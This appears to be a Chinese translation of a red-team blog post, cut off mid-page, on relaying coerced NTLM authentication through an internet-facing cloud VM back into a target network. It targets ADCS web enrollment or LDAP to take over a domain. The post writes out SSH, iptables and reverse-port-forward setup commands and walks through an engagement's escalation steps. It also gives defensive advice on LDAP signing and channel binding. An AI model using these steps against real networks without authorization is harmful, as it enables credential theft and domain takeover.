rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">引言</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 SpecterOps，我们年复一年地发现，NTLM 中继技术手法是我们在评估中实现目标最有效的手段之一；无论是红队评估还是渗透测试，都极具实用价值。我们大部分的渗透测试评估是通过 C2（即委托访问）进行的，较少使用行业标准式的 Linux 虚拟机（即跳板机）方式来评估环境。这使得我们的团队能够更好地模拟真实对手在发现和利用漏洞时所具备的操作能力。代价是我们失去了二层网络访问能力，而这在执行 NTLM 中继攻击时最为有用。这意味着，基于委托访问的操作约束来创新的 NTLM 中继技术手法对我们的团队极为宝贵，也促成了&#34;去而复返&#34;技术在评估中的广泛采用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;去而复返&#34;是我们在 SpecterOps 使用的一个名称，指的是强制触发出站 NTLM 流量并在互联网上接收，然后将该流量代理到客户端内部环境中的目标以实现身份接管。这项技术鲜有讨论，但在仅有低权限 C2 代理访问客户端环境中某工作站这一操作障碍下，它非常实用。而且它以《指环王》的典故作为技术名称，这总是令人欣喜 😀</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9546436285097192" data-s="300,640" data-type="webp" data-w="463" type="block" data-imgfileid="100012977" src="https://wechat2rss.xlab.app/img-proxy/?k=c6de85ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShwxE4BkZsHvRiboyczfJoXyW7I3fibMmZ3jSw4HTJrHdwAHZjEXGtlKToC95UjicE8y7zM1RcvJWEiac2LmKhOEAzNdR7ibH1BOwQc%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通常，我们会在客户端环境中建立委托访问。在进行初步侦察时，我们通常会识别到一个明显的 NTLM 中继选项来完成我们的目标，但我们的团队并不具备已攻陷工作站上的本地管理员权限，无法使用 Nick Power 的 SMBTakeover 来停止 SMB 并绑定到 </span><em><span leaf="">445/TCP</span></em><span leaf="">端口以接收被强制触发的认证。一个典型的例子是缺少扩展身份验证保护（EPA）的 ADCS Web 注册端点，即所谓的 ESC8。关于 EPA 的更多信息可在 Nick Powers 和 Matt Creel 的此博客中找到。虽然 Certified Pre-Owned 白皮书在五年多前就已发布，但至今我仍能在近 70-80% 拥有 Active Directory 的客户端环境中看到存在漏洞的 ADCS Web 注册端点。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">攻击技术示例如下所示。它涉及从一个身份（例如域控制器 [DC]）强制触发 NTLM 认证，并将该认证发送到在互联网上监听的云端虚拟机。受控云端虚拟机与团队服务器之间存在隧道，将接收到的流量转发到团队服务器。最后，一旦认证回到攻击者基础设施，就可以被代理回目标环境，并在 ADCS Web 注册端点等服务上冒充被强制触发认证的身份。该端点可用于代表被冒充的身份请求证书，从而完全攻陷该身份。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">请注意：在执行此技术之前，应获取客户批准，因为 NTLM 质询响应中可能包含可通过互联网被截获的可归属数据（即域名、主机名）。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.562137049941928" data-s="300,640" data-type="webp" data-w="861" type="block" data-imgfileid="100012979" src="https://wechat2rss.xlab.app/img-proxy/?k=2f3b6fd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShee0xTTicM3gY4uYuoHwsXktPTDaKeoia7zwyCDicQSaWpttkpRgCB5AaDg13FpoDREmAOHJUFjUWxtARznYqiaGWhdibufr85Xse8%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要求、限制及绕过方法</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">攻击链成功的最大前提条件是目标环境网络内的系统能够到达在互联网上监听的云端主机。虽然大多数组织持有防火墙规则以阻止 SMB 出站或 </span><em><span leaf="">445/TCP</span></em><span leaf="">端口流量离开网络，但这些简单的网络控制中往往存在疏漏。只需一台系统，攻击链就可能开始通向域控接管。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在最近的一次行动中，我们的团队快速识别到一个存在漏洞的 ADCS Web 注册端点，可以借此在客户端环境中实现权限提升。由于我们当前用户在已攻陷系统上的低权限访问阻止了反向端口转发绑定到 </span><em><span leaf="">445/TCP</span></em><span leaf="">，我们的团队无法以传统方式中继并提升域权限。通过尝试向我们在互联网上监听的云端主机进行网络范围内的认证胁迫，我们确定所有域控和明显的敏感系统均无法出站 SMB 流量。因此，我们开始对所有可触及的系统进行认证胁迫尝试，并监控我们在云端部署的设备是否有任何连接。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">经过一段时间，我们发现了一台与我们当前攻陷主机处于截然不同网络空间的 Windows 服务器，我们可以通过 EFSRPC（PetitPotam）胁迫尝试到达它，并且在触发胁迫时，我们注意到来自目标服务器的认证尝试出现在我们互联网上监听的云端主机上。我们随后接收并中继了这个可胁迫的认证到 ADCS Web 注册端点，并为目标系统请求了证书。一旦我们持有支持客户端认证的证书，就执行 PKINIT 为该服务器的计算机账户请求票据授予票据（TGT）。获得计算机账户的 TGT 后，我们执行了 S4U2self 并以管理员用户身份委派到目标服务器。随后我们在服务器上导出了票据，发现了一个属于更高权限用户且在开放会话中拥有额外访问权限的票据。这个票据引导我们通过后续几个跳转实现了环境内的完全域控接管。这项技术通常能将各种在不同操作条件下（即二层网络访问）可能实现域控接管的情形，转化为能够确认配置影响并向客户证明影响的能力。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于&#34;去而复返&#34;的主要前提条件仅为网络出站，当该技术与其他协议结合使用时，它在可能阻止 SMB 出站的更成熟客户端环境中更具操作优势。这包括从本地系统的 WebClient 服务强制触发 WebDAV 认证，通过 NTLM 中继到 LDAP 来实现权限提升。这是因为 WebClient/WebDAV 认证可以通过 </span><em><span leaf="">443/TCP</span></em><span leaf="">端口强制触发，从而绕过典型的防火墙规则。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9876543209876543" data-s="300,640" data-type="webp" data-w="486" type="block" data-imgfileid="100012980" src="https://wechat2rss.xlab.app/img-proxy/?k=2f6ed913&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSjdBib6A2fOtyQygrgYGMhkfBWf86WFxAbp1YtVQQrBiaefbJ83tED3Xe4LOxWIAE24FK9mZPQfmrfyTjr7D0Cx2iaXtCJ64paOlE%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果当前目标环境未强制实施 LDAP 签名或 LDAP 通道绑定，且防火墙规则阻止了在本地绑定高端口（如 </span><em><span leaf="">8080/TCP</span></em><span leaf="">）后通过 WebDAV 连接字符串 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ATTACKER@8080/test</span></code><span leaf="">接收 WebClient 胁迫的认证，那么通过 </span><em><span leaf="">443/TCP</span></em><span leaf="">端口出站 WebDAV 流量将是你的好帮手。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">与其在本地（受防火墙规则约束）接收 WebDAV 流量以中继到客户端环境内的 LDAP，不如通过 </span><em><span leaf="">443/TCP</span></em><span leaf="">端口将 WebDAV 流量出站，在云端虚拟机上接收该流量，然后转发回你的红队基础设施，再代理回客户端环境中的 DC 上的 LDAP 或 LDAPS。这将使操作者能够攻陷本地或远程系统，并绕过网络和本地防火墙规则。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">LDAP 和 LDAPS 上缺少 NTLM 中继保护仍然是我们在 Active Directory 环境中最常见的配置之一，通常在以低权限用户身份获得委托访问或通过钓鱼攻陷低权限用户后，即可免费获得本地权限提升。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这种配置的普遍性是可以理解的，因为在复杂的企业环境中启用 LDAP 和 LDAPS 签名会带来破坏性变更。对于大型复杂环境中遇到的破坏性变更，最佳解决方案是完全启用 LDAP 签名，并将 LDAPS 通道绑定设置为&#34;When Supported&#34;（支持时）。这将允许来自旧系统的 LDAP 连接仍然可以在不使用通道绑定的情况下访问 LDAPS，但攻击者将无法对 LDAPS 执行 NTLM 中继，因为默认的 Windows WebDAV 客户端始终包含通道绑定令牌。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9633620689655172" data-s="300,640" data-type="webp" data-w="464" type="block" data-imgfileid="100012982" src="https://wechat2rss.xlab.app/img-proxy/?k=9053a151&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSianoQ0D1Qt2eQVgnAESGyO18wlPjb68LNzdB8An3icXMcRme90oVlibz5soYUgLicHqBtm5DSH8eomax8Y9mEfibEm0Nf0fYtjbwnA%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">设置与配置</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本指南不会演示配置 Mythic、部署代理或创建 Microsoft Azure 账户的过程，并假定委托访问已作为低权限用户账户建立。它将展示配置转发、面向互联网的云端主机以及 SOCKS5 配置以执行攻击技术的步骤。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用 Azure 账户，导航到 Azure 门户的虚拟机部分并选择&#34;创建&#34;。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.512962962962963" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100012983" src="https://wechat2rss.xlab.app/img-proxy/?k=f6d4b1a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSj3ORfsicMHSBGibjo4nPdA9ticlF21UgeGIztCyUZDl9spXnbqXCPHzxhOXzwQYaPmsK4P5AsYanQeQiaAHLXngziaVslPyj1a5w2w%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为虚拟机命名，并为磁盘大小、内存等选择标准选项，但在&#34;网络&#34;选项卡中确保为&#34;NIC 网络安全组&#34;选择&#34;None&#34;。这将向互联网开放所有端口，对我们的用途来说没问题，因为除了使用基于密钥认证的 SSH 和 </span><em><span leaf="">443/TCP</span></em><span leaf="">用于接收流量外，不会有其他服务在监听。配置完成后，创建并启动虚拟机。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6675925925925926" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100012984" src="https://wechat2rss.xlab.app/img-proxy/?k=9d22e563&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSjkA8nrkQjDqibWlPricBZ4XYcuFVc5wRtsncAjlw6Sx8Av0I44PUJR4h9WQVCgG3fS4OjhH4GoiaSWF5sBsL7yMYsP9juqvm2he0%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虚拟机配置完成后，使用从 Azure 门户下载的密钥 SSH 登录新创建的 Azure 虚拟机，配置流量重定向回我们的红队基础设施。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">ssh -i relayhost_key.pem azureuser@40.90.233.199</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于默认的 azureuser 没有绑定 </span><em><span leaf="">443/TCP</span></em><span leaf="">端口的权限，标准的 SSH 端口转发 </span><em><span leaf="">443/TCP</span></em><span leaf="">到我们的红队基础设施将无法工作。因此，使用 iptables 将流量从 </span><em><span leaf="">443/TCP</span></em><span leaf="">端口重定向到 </span><em><span leaf="">8443/TCP</span></em><span leaf="">端口。一旦流量被重定向到本地非前 1000 端口，我们就可以绑定该非前 1000 端口将流量转发回我们的红队基础设施。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443</span><span leaf=""><br/></span><span leaf="">sudo iptables -t nat -A OUTPUT -p tcp -o lo --dport 443 -j REDIRECT --to-port 8443</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于 SSH 服务的某些默认限制，使用任意文本编辑器以 root 身份将 AllowTcpForwarding 修改为 yes，GatewayPorts 修改为 clientspecified。然后重启 ssh 服务：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo vim /etc/ssh/sshd_config</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36936936936936937" data-s="300,640" data-type="webp" data-w="666" type="block" data-imgfileid="100012986" src="https://wechat2rss.xlab.app/img-proxy/?k=1e0f1e75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgZmPUeyFibraVBHLvIyLRvSugFZic9q7VhFmSib84WZ8hPwsJIdibOFDqAxBQvtl2uiaSAPefNI7OtEOIVjUL8TuIWHfou9pcyFW4M%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo systemctl restart ssh</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在 </span><em><span leaf="">443/TCP</span></em><span leaf="">端口的流量已转发到 </span><em><span leaf="">8443/TCP</span></em><span leaf="">，我们可以发起 SSH 反向端口转发回到我们的红队基础设施，以接收任何认证到我们云端虚拟机 </span><em><span leaf="">443/TCP</span></em><span leaf="">端口的流量。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">sudo ssh -i relayhost_key.pem -R 0.0.0.0:8443:localhost:443 azureuser@40.90.233.199</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.48717948717948717" data-s="300,640" data-type="webp" data-w="741" type="block" data-imgfileid="100012987" src="https://wechat2rss.xlab.app/img-proxy/?k=b035e449&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSh5tiakC50x3O7ICxovCicuqTkvyiby0NGdsHbLX0IT6ODI8XJxt9O8s0uCUicBxVN6ppsExl13s1dehdX5ghv1I99mXgictD5Jv4Es%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，向我们的委托访问代理发起 SOCKS5 连接，通过将运行 ntlmrelayx.py 的 Linux 操作主机的流量转发到目标环境来完成环路。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.22916666666666666" data-s="300,640" data-type="webp" data-w="624" type="block" data-imgfileid="100012988" src="https://wechat2rss.xlab.app/img-proxy/?k=c545c561&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSianPzbLnzQhcAnbsY1I5wP3LnpK6pGgA2d2Flr7GCJOPSbBicceELL2oeHgAG7icEshb6kqiaOyVd3IrEGcGscHM3LW9XoM8Q8BxQ%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">确保你的 /etc/proxychains4.conf 文件类似于以下示例，将流量路由到你的团队服务器开启的 SOCKS5 监听器。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.33762057877813506" data-s="300,640" data-type="webp" data-w="622" type="block" data-imgfileid="100012989" src="https://wechat2rss.xlab.app/img-proxy/?k=8be67be9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiaIREe80zyYgOvxCzxpKiawz5yLMfUOjlEMdEg3K9iaCslyvaBneyX7zYGpeQiasU0S1Pmib7icFic9Xdx6tADferCic3yFlSRcF7QGcE%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: 